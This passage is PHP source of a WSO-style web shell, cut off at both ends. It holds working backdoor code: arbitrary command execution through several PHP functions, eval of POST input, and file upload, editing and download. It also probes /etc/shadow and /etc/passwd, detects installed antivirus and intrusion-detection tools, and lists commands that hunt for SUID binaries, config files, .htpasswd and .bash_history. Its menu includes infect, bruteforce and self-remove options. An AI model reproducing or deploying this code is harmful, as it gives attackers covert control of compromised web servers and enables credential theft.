encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = \'ajax=true\';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\n\t}\n\tfunction sr(url, params) {\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\n        if (req) {\n            req.onreadystatechange = processReqChange;\n            req.open(\'POST\', url, true);\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\n            req.send(params);\n        }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert(\'Request error!\');\n\t}\n</script>\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>\n<form method=post name=mf style=\'display:none;\'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\n\t$totalSpace = $totalSpace?$totalSpace:1;\n\t$release = @php_uname(\'r\');\n\t$kernel = @php_uname(\'s\');\n\t$explink = \'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=\';\n\tif(strpos(\'Linux\', $kernel) !== false)\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\n\telse\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\n\tif(!function_exists(\'posix_getegid\')) {\n\t\t$user = @get_current_user();\n\t\t$uid = @getmyuid();\n\t\t$gid = @getmygid();\n\t\t$group = "?";\n\t} else {\n\t\t$uid = @posix_getpwuid(@posix_geteuid());\n\t\t$gid = @posix_getgrgid(@posix_getegid());\n\t\t$user = $uid[\'name\'];\n\t\t$uid = $uid[\'uid\'];\n\t\t$group = $gid[\'name\'];\n\t\t$gid = $gid[\'gid\'];\n\t}\n\t$cwd_links = \'\';\n\t$path = explode("/", $GLOBALS[\'cwd\']);\n\t$n=count($path);\n\tfor($i=0; $i<$n-1; $i++) {\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\n\t\tfor($j=0; $j<=$i; $j++)\n\t\t\t$cwd_links .= $path[$j].\'/\';\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\n\t}\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\n\t$opt_charsets = \'\';\n\tforeach($charsets as $▟)\n\t\t$opt_charsets .= \'<option value="\'.$▟.\'" \'.($_POST[\'charset\']==$▟?\'selected\':\'\').\'>\'.$▟.\'</option>\';\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Infect\'=>\'Infect\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');\n\tif(!empty($GLOBALS[\'▛\']))\n\t$m[\'Logout\'] = \'Logout\';\n\t$m[\'Self remove\'] = \'SelfRemove\';\n\t$menu = \'\';\n\tforeach($m as $k => $v)\n\t\t$menu .= \'<th>[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\n\t$drives = "";\n\tif ($GLOBALS[\'os\'] == \'win\') {\n\t\tforeach(range(\'c\',\'z\') as $drive)\n\t\tif (is_dir($drive.\':\\\\\'))\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\n\t}\n\t/* (С) 08.2015 dmkcv */\n\techo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\n\t\t \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="http://noreferer.de/?http://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#FFDB5F><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\n\t\t \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\n\t\t \'<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div>\';\n}\nfunction hardFooter() {\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#FFDB5F\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";\n    echo "\n</div>\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\n\t<tr>\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>\n\t\t<td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\\"return false;\\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>\n\t\t<input type=hidden name=a value=\'FilesMan\'>\n\t\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\n\t\t<input type=hidden name=ne value=\'\'>\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>\n\t</tr></table></div>\n\t<!-- particles --> <div id=\'particles-js\'></div><script src=\'http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js\'></script>\n\t<script>particlesJS(\'particles-js\', {\'particles\':{\'number\':{\'value\':80,\'density\':{\'enable\':true,\'value_area\':800}},\'color\':{\'value\':\'#ffffff\'},\'shape\':{\'type\':\'triangle\',\'stroke\':{\'width\':0,\'color\':\'#000000\'},\'polygon\':{\'nb_sides\':5},\'image\':{\'src\':\'img/github.svg\',\'width\':100,\'height\':100}},\'opacity\':{\'value\':0.5,\'random\':true,\'anim\':{\'enable\':false,\'speed\':1,\'opacity_min\':0.1,\'sync\':false}},\'size\':{\'value\':3,\'random\':true,\'anim\':{\'enable\':false,\'speed\':40,\'size_min\':0.1,\'sync\':false}},\'line_linked\':{\'enable\':true,\'distance\':200,\'color\':\'#ffffff\',\'opacity\':0.4,\'width\':1},\'move\':{\'enable\':true,\'speed\':1,\'direction\':\'none\',\'random\':true,\'straight\':false,\'out_mode\':\'out\',\'bounce\':false,\'attract\':{\'enable\':false,\'rotateX\':10000,\'rotateY\':10000}}},\'interactivity\':{\'detect_on\':\'canvas\',\'events\':{\'onhover\':{\'enable\':true,\'mode\':\'grab\'},\'onclick\':{\'enable\':true,\'mode\':\'repulse\'},\'resize\':true},\'modes\':{\'grab\':{\'distance\':200,\'line_linked\':{\'opacity\':0.5}},\'bubble\':{\'particles_nb\':2}}},\'retina_detect\':true});</script>\n\t</body></html>";\n}\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\nfunction ex($in) {\n\t$▖ = \'\';\n\tif (function_exists(\'exec\')) {\n\t\t@exec($in,$▖);\n\t\t$▖ = @join("\\n",$▖);\n\t} elseif (function_exists(\'passthru\')) {\n\t\tob_start();\n\t\t@passthru($in);\n\t\t$▖ = ob_get_clean();\n\t} elseif (function_exists(\'system\')) {\n\t\tob_start();\n\t\t@system($in);\n\t\t$▖ = ob_get_clean();\n\t} elseif (function_exists(\'shell_exec\')) {\n\t\t$▖ = shell_exec($in);\n\t} elseif (is_resource($f = @popen($in,"r"))) {\n\t\t$▖ = "";\n\t\twhile(!@feof($f))\n\t\t\t$▖ .= fread($f,1024);\n\t\tpclose($f);\n\t}else return "↳ Unable to execute command\\n";\n\treturn ($▖==\'\'?"↳ Query did not return anything\\n":$▖);\n}\nfunction viewSize($s) {\n\tif($s >= 1073741824)\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\n\telseif($s >= 1048576)\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\n\telseif($s >= 1024)\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\n\telse\n\t\treturn $s . \' B\';\n}\nfunction perms($p) {\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\n\telse $i = \'u\';\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\n\treturn $i;\n}\nfunction viewPermsColor($f) {\n\tif (!@is_readable($f))\n\t\treturn \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';\n\telseif (!@is_writable($f))\n\t\treturn \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';\n\telse\n\t\treturn \'<font color=#FFDB5F><b>\'.perms(@fileperms($f)).\'</b></font>\';\n}\nfunction hardScandir($dir) {\n    if(function_exists("scandir")) {\n        return scandir($dir);\n    } else {\n        $dh  = opendir($dir);\n        while (false !== ($filename = readdir($dh)))\n            $files[] = $filename;\n        return $files;\n    }\n}\nfunction which($p) {\n\t$path = ex(\'which \' . $p);\n\tif(!empty($path))\n\t\treturn $path;\n\treturn false;\n}\nfunction actionRC() {\n\tif(!@$_POST[\'p1\']) {\n\t\t$a = array(\n\t\t\t"uname" => php_uname(),\n\t\t\t"php_version" => phpversion(),\n\t\t\t"VERSION" => VERSION,\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\n\t\t);\n\t\techo serialize($a);\n\t} else {\n\t\teval($_POST[\'p1\']);\n\t}\n}\nfunction prototype($k, $v) {\n    $_COOKIE[$k] = $v;\n    setcookie($k, $v);\n}\nfunction actionSecInfo() {\n\thardHeader();\n\techo \'<h1>Server security information</h1><div class=content>\';\n\tfunction showSecParam($n, $v) {\n\t\t$v = trim($v);\n\t\tif($v) {\n\t\t\techo \'<span>\' . $n . \': </span>\';\n\t\t\tif(strpos($v, "\\n") === false)\n\t\t\t\techo $v . \'<br>\';\n\t\t\telse\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\n\t\t}\n\t}\n\tshowSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\n    if(function_exists(\'apache_get_modules\'))\n        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\n\tshowSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\n\tshowSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\n\tshowSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\n\tshowSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\n\tshowSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\n\t$temp=array();\n\tif(function_exists(\'mysql_get_client_info\'))\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\n\tif(function_exists(\'mssql_connect\'))\n\t\t$temp[] = "MSSQL";\n\tif(function_exists(\'pg_connect\'))\n\t\t$temp[] = "PostgreSQL";\n\tif(function_exists(\'oci_connect\'))\n\t\t$temp[] = "Oracle";\n\tshowSecParam(\'Supported databases\', implode(\', \', $temp));\n\techo \'<br>\';\n\tif($GLOBALS[\'os\'] == \'nix\') {\n            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\n            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\n            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\n            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\n            if(!$GLOBALS[\'safe_mode\']) {\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\n                echo \'<br>\';\n                $temp=array();\n                foreach ($userful as $▟)\n                    if(which($▟))\n                        $temp[] = $▟;\n                showSecParam(\'Userful\', implode(\', \',$temp));\n                $temp=array();\n                foreach ($danger as $▟)\n                    if(which($▟))\n                        $temp[] = $▟;\n                showSecParam(\'Danger\', implode(\', \',$temp));\n                $temp=array();\n                foreach ($downloaders as $▟)\n                    if(which($▟))\n                        $temp[] = $▟;\n                showSecParam(\'Downloaders\', implode(\', \',$temp));\n                echo \'<br/>\';\n                showSecParam(\'HDD space\', ex(\'df -h\'));\n                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\n\t\t\t\tshowSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\n            }\n\t} else {\n\t\tshowSecParam(\'OS Version\',ex(\'ver\'));\n\t\tshowSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\n\t\tshowSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\n\t}\n\techo \'</div>\';\n\thardFooter();\n}\nfunction actionFilesTools() {\n\tif( isset($_POST[\'p1\']) )\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\n\tif(@$_POST[\'p2\']==\'download\') {\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\n\t\t\tob_start("ob_gzhandler", 4096);\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\n\t\t\tif (function_exists("mime_content_type")) {\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\n\t\t\t\theader("Content-Type: " . $type);\n\t\t\t} else\n                header("Content-Type: application/octet-stream");\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\n\t\t\tif($fp) {\n\t\t\t\twhile(!@feof($fp))\n\t\t\t\t\techo @fread($fp, 1024);\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}exit;\n\t}\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\n\t\tif(!file_exists($_POST[\'p1\'])) {\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\n\t\t\tif($fp) {\n\t\t\t\t$_POST[\'p2\'] = "edit";\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}\n\t}\n\thardHeader();\n\techo \'<h1>File tools</h1><div class=content>\';\n\tif( !file_exists(@$_POST[\'p1\']) ) {\n\t\techo \'File not exists\';\n\t\thardFooter();\n\t\treturn;\n\t}\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\n\tif(!$uid) {\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\n\techo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\n\tif( empty($_POST[\'p2\']) )\n\t\t$_POST[\'p2\'] = \'view\';\n\tif( is_file($_POST[\'p1\']) )\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\n\telse\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\n\tforeach($m as $v)\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\n\techo \'<br><br>\';\n\tswitch($_POST[\'p2\']) {\n\t\tcase \'view\':\n\t\t\techo \'<pre class=ml1>\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'</pre>\';\n\t\t\tbreak;\n\t\tcase \'highlight\':\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\n\t\t\t\t$oRb = @highlight_file($_POST[\'p1\'],true);\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase \'chmod\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$perms = 0;\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';\n\t\t\tbreak;\n\t\tcase \'edit\':\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\n\t\t\t\techo \'File isn\\\'t writeable\';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\n\t\t\t\tif($fp) {\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\n\t\t\t\t\t@fclose($fp);\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\n\t\t\t\t}\n\t\t\t}\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'</textarea><input type=submit value="submit"></form>\';\n\t\t\tbreak;\n\t\tcase \'hexdump\':\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\n\t\t\t$n = 0;\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\n\t\t\t$len = strlen($c);\n\t\t\tfor ($i=0; $i<$len; ++$i) {\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\n\t\t\t\tswitch ( ord($c[$i]) ) {\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\n\t\t\t\t}\n\t\t\t\t$n++;\n\t\t\t\tif ($n == 32) {\n\t\t\t\t\t$n = 0;\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\n\t\t\t\t\t$h[1] .= \'<br>\';\n\t\t\t\t\t$h[2] .= "\\n";\n\t\t\t\t}\n\t\t \t}\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#060a10><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\n\t\t\tbreak;\n\t\tcase \'rename\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\n\t\t\t\telse\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\n\t\t\t}\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';\n\t\t\tbreak;\n\t\tcase \'touch\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\n\t\t\t\tif($time) {\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\n\t\t\t\t\t\techo \'Fail!\';\n\t\t\t\t\telse\n\t\t\t\t\t\techo \'Touched!\';\n\t\t\t\t} else echo \'Bad time format!\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';\n\t\t\tbreak;\n\t\t/* (С) 12.2015 mitryz */\n\t\tcase \'frame\':\n\t\t\t$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\n\t\t\tif ($frameSrc[0] != \'/\')\n\t\t\t\t$frameSrc = \'/\' . $frameSrc;\n\t\t\tif ($frameSrc[strlen($frameSrc) - 1] != \'/\')\n\t\t\t\t$frameSrc = $frameSrc . \'/\';\n\t\t\t$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\n\t\t\techo \'<iframe width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';\n\t\t\tbreak;\n\t}\n\techo \'</div>\';\n\thardFooter();\n}\nif($os == \'win\')\n\t$aliases = array(\n\t\t"List Directory" => "dir",\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\n    \t"Show active connections" => "netstat -an",\n    \t"Show running services" => "net start",\n    \t"User accounts" => "net user",\n    \t"Show computers" => "net view",\n\t\t"ARP Table" => "arp -a",\n\t\t"IP Configuration" => "ipconfig /all"\n\t);\nelse\n\t$aliases = array(\n  \t\t"List dir" => "ls -lha",\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\n        "process status" => "ps aux",\n\t\t"Find" => "",\n  \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\n  \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\n  \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\n  \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\n  \t\t"find config* files" => "find / -type f -name \\"config*\\"",\n  \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\n  \t\t"find all writable folders and files" => "find / -perm -2 -ls",\n  \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\n  \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\n  \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\n  \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\n  \t\t"find all .bash_history files" => "find / -type f 